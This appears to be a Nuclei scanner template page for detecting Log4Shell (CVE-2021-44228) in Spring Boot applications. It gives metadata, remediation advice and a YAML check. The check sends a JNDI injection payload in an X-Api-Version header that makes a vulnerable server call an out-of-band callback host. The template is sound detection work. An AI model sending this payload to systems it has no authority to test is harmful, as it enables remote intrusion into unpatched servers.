springboot-log4j-rce: Spring Boot - Remote Code Execution (Apache Log4j)
- Template: springboot-log4j-rce
- Name: Spring Boot - Remote Code Execution (Apache Log4j)
- Description: Spring Boot is susceptible to remote code execution via Apache Log4j.
- Remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
- Severity: critical
- Authors: pdteam
- Tags: cve, cve2021, springboot, rce, oast, log4j, kev, vuln
- References: https://logging.apache.org/log4j/2.x/security.html, https://www.lunasec.io/docs/blog/log4j-zero-day/, https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab, https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- Cves: CVE-2021-44228
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/springboot/springboot-log4j-rce.yaml
- Digest: 4a0a004730450221008755799d545ae22906d859e18c9e747cdf6397260f999266baa9c2b9bd534791022023e1e774ea84b58b8e7bc7c7548c2c1354faa85d8577a3d978834c54e3a88765
- Created at: 2022-03-27T20:16:50Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1703
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/springboot/springboot-log4j-rce.yaml
- Checked, none or zero: verified, products
- Not known: impact
Classification
- Cwe: CWE-502
- Cvss score: 10
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Not known: epss score, epss percentile, cpe
Metadata
- Max-request: 1
Labels
- Name: Apache Log4j2 - JNDI Injection
- Impact: Attackers can execute arbitrary code remotely by controlling log messages, leading to full system compromise.
- Remediation: Update to a version later than 2.15.0.
- Vulnerability type: jndi_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-44228
- Not known: requirements
```yaml
id: springboot-log4j-rce
info:
name: Spring Boot - Remote Code Execution (Apache Log4j)
author: pdteam
severity: critical
description: Spring Boot is susceptible to remote code execution via Apache Log4j.
remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
reference:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-502
metadata:
max-request: 1
tags: cve,cve2021,springboot,rce,oast,log4j,kev,vuln
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
digest: 4a0a004730450221008755799d545ae22906d859e18c9e747cdf6397260f999266baa9c2b9bd534791022023e1e774ea84b58b8e7bc7c7548c2c1354faa85d8577a3d978834c54e3a88765:922c64590222798bb761d5b6d8e72950
```